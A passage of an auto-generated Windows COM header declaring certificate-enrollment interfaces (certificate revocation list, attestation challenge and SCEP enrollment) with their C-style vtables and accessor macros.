IX509CertificateRevocationListVtbl;\n\n    interface IX509CertificateRevocationList\n    {\n        CONST_VTBL struct IX509CertificateRevocationListVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRevocationList_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRevocationList_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRevocationList_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRevocationList_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRevocationList_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRevocationList_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRevocationList_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRevocationList_Initialize(This)\t\\\n    ( (This)->lpVtbl -> Initialize(This) ) \n\n#define IX509CertificateRevocationList_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRevocationList_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRevocationList_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRevocationList_CheckPublicKeySignature(This,pPublicKey)\t\\\n    ( (This)->lpVtbl -> CheckPublicKeySignature(This,pPublicKey) ) \n\n#define IX509CertificateRevocationList_CheckSignature(This)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This) ) \n\n#define IX509CertificateRevocationList_get_Issuer(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Issuer(This,ppValue) ) \n\n#define IX509CertificateRevocationList_put_Issuer(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Issuer(This,pValue) ) \n\n#define IX509CertificateRevocationList_get_ThisUpdate(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ThisUpdate(This,pValue) ) \n\n#define IX509CertificateRevocationList_put_ThisUpdate(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ThisUpdate(This,Value) ) \n\n#define IX509CertificateRevocationList_get_NextUpdate(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NextUpdate(This,pValue) ) \n\n#define IX509CertificateRevocationList_put_NextUpdate(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NextUpdate(This,Value) ) \n\n#define IX509CertificateRevocationList_get_X509CRLEntries(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509CRLEntries(This,ppValue) ) \n\n#define IX509CertificateRevocationList_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRevocationList_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRevocationList_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRevocationList_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n#define IX509CertificateRevocationList_get_CRLNumber(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_CRLNumber(This,Encoding,pValue) ) \n\n#define IX509CertificateRevocationList_put_CRLNumber(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_CRLNumber(This,Encoding,Value) ) \n\n#define IX509CertificateRevocationList_get_CAVersion(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CAVersion(This,pValue) ) \n\n#define IX509CertificateRevocationList_put_CAVersion(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CAVersion(This,pValue) ) \n\n#define IX509CertificateRevocationList_get_BaseCRL(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_BaseCRL(This,pValue) ) \n\n#define IX509CertificateRevocationList_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRevocationList_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRevocationList_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRevocationList_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRevocationList_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRevocationList_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRevocationList_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509CertificateRevocationList_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRevocationList_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRevocationList_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertificateAttestationChallenge_INTERFACE_DEFINED__\n#define __ICertificateAttestationChallenge_INTERFACE_DEFINED__\n\n/* interface ICertificateAttestationChallenge */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificateAttestationChallenge;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"6F175A7C-4A3A-40AE-9DBA-592FD6BBF9B8\")\n    ICertificateAttestationChallenge : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPendingFullCmcResponseWithChallenge) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE DecryptChallenge( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEnvelopedPkcs7ReencryptedToCA) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_RequestID( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrRequestID) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertificateAttestationChallengeVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificateAttestationChallenge * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificateAttestationChallenge * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificateAttestationChallenge * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificateAttestationChallenge * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificateAttestationChallenge * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificateAttestationChallenge * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificateAttestationChallenge * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertificateAttestationChallenge * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPendingFullCmcResponseWithChallenge);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *DecryptChallenge )( \n            __RPC__in ICertificateAttestationChallenge * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEnvelopedPkcs7ReencryptedToCA);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestID )( \n            __RPC__in ICertificateAttestationChallenge * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrRequestID);\n        \n        END_INTERFACE\n    } ICertificateAttestationChallengeVtbl;\n\n    interface ICertificateAttestationChallenge\n    {\n        CONST_VTBL struct ICertificateAttestationChallengeVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificateAttestationChallenge_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificateAttestationChallenge_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificateAttestationChallenge_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificateAttestationChallenge_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificateAttestationChallenge_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificateAttestationChallenge_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificateAttestationChallenge_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificateAttestationChallenge_Initialize(This,Encoding,strPendingFullCmcResponseWithChallenge)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Encoding,strPendingFullCmcResponseWithChallenge) ) \n\n#define ICertificateAttestationChallenge_DecryptChallenge(This,Encoding,pstrEnvelopedPkcs7ReencryptedToCA)\t\\\n    ( (This)->lpVtbl -> DecryptChallenge(This,Encoding,pstrEnvelopedPkcs7ReencryptedToCA) ) \n\n#define ICertificateAttestationChallenge_get_RequestID(This,pstrRequestID)\t\\\n    ( (This)->lpVtbl -> get_RequestID(This,pstrRequestID) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificateAttestationChallenge_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertificateAttestationChallenge2_INTERFACE_DEFINED__\n#define __ICertificateAttestationChallenge2_INTERFACE_DEFINED__\n\n/* interface ICertificateAttestationChallenge2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificateAttestationChallenge2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"4631334d-e266-47d6-bd79-be53cb2e2753\")\n    ICertificateAttestationChallenge2 : public ICertificateAttestationChallenge\n    {\n    public:\n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_KeyContainerName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_KeyBlob( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertificateAttestationChallenge2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificateAttestationChallenge2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificateAttestationChallenge2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificateAttestationChallenge2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPendingFullCmcResponseWithChallenge);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *DecryptChallenge )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEnvelopedPkcs7ReencryptedToCA);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestID )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrRequestID);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerName )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyBlob )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        END_INTERFACE\n    } ICertificateAttestationChallenge2Vtbl;\n\n    interface ICertificateAttestationChallenge2\n    {\n        CONST_VTBL struct ICertificateAttestationChallenge2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificateAttestationChallenge2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificateAttestationChallenge2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificateAttestationChallenge2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificateAttestationChallenge2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificateAttestationChallenge2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificateAttestationChallenge2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificateAttestationChallenge2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificateAttestationChallenge2_Initialize(This,Encoding,strPendingFullCmcResponseWithChallenge)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Encoding,strPendingFullCmcResponseWithChallenge) ) \n\n#define ICertificateAttestationChallenge2_DecryptChallenge(This,Encoding,pstrEnvelopedPkcs7ReencryptedToCA)\t\\\n    ( (This)->lpVtbl -> DecryptChallenge(This,Encoding,pstrEnvelopedPkcs7ReencryptedToCA) ) \n\n#define ICertificateAttestationChallenge2_get_RequestID(This,pstrRequestID)\t\\\n    ( (This)->lpVtbl -> get_RequestID(This,pstrRequestID) ) \n\n\n#define ICertificateAttestationChallenge2_put_KeyContainerName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerName(This,Value) ) \n\n#define ICertificateAttestationChallenge2_put_KeyBlob(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyBlob(This,Encoding,Value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificateAttestationChallenge2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509SCEPEnrollment_INTERFACE_DEFINED__\n#define __IX509SCEPEnrollment_INTERFACE_DEFINED__\n\n/* interface IX509SCEPEnrollment */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509SCEPEnrollment;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab361-217d-11da-b2a4-000e7bbb2b09\")\n    IX509SCEPEnrollment : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IX509CertificateRequestPkcs10 *pRequest,\n            /* [in] */ __RPC__in BSTR strThumbprint,\n            /* [in] */ EncodingType ThumprintEncoding,\n            /* [in] */ __RPC__in BSTR strServerCertificates,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeForPending( \n            /* [in] */ X509CertificateEnrollmentContext Context) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CreateRequestMessage( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CreateRetrievePendingMessage( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CreateRetrieveCertificateMessage( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strIssuer,\n            /* [in] */ EncodingType IssuerEncoding,\n            /* [in] */ __RPC__in BSTR strSerialNumber,\n            /* [defaultvalue][in] */ EncodingType SerialNumberEncoding,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ProcessResponseMessage( \n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ServerCapabilities( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_FailInfo( \n            /* [retval][out] */ __RPC__out X509SCEPFailInfo *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignerCertificate( \n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SignerCertificate( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_OldCertificate( \n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_OldCertificate( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TransactionId( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_TransactionId( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Request( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequestPkcs10 **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CertificateFriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_CertificateFriendlyName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Status( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Certificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Silent( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Silent( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE DeleteRequest( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509SCEPEnrollmentVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509SCEPEnrollment * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509SCEPEnrollment * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509SCEPEnrollment * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequestPkcs10 *pRequest,\n            /* [in] */ __RPC__in BSTR strThumbprint,\n            /* [in] */ EncodingType ThumprintEncoding,\n            /* [in] */ __RPC__in BSTR strServerCertificates,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeForPending )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreateRequestMessage )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreateRetrievePendingMessage )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreateRetrieveCertificateMessage )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strIssuer,\n            /* [in] */ EncodingType IssuerEncoding,\n            /* [in] */ __RPC__in BSTR strSerialNumber,\n            /* [defaultvalue][in] */ EncodingType SerialNumberEncoding,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *ProcessResponseMessage )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ServerCapabilities )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FailInfo )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [retval][out] */ __RPC__out X509SCEPFailInfo *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_OldCertificate )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TransactionId )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_TransactionId )( \n   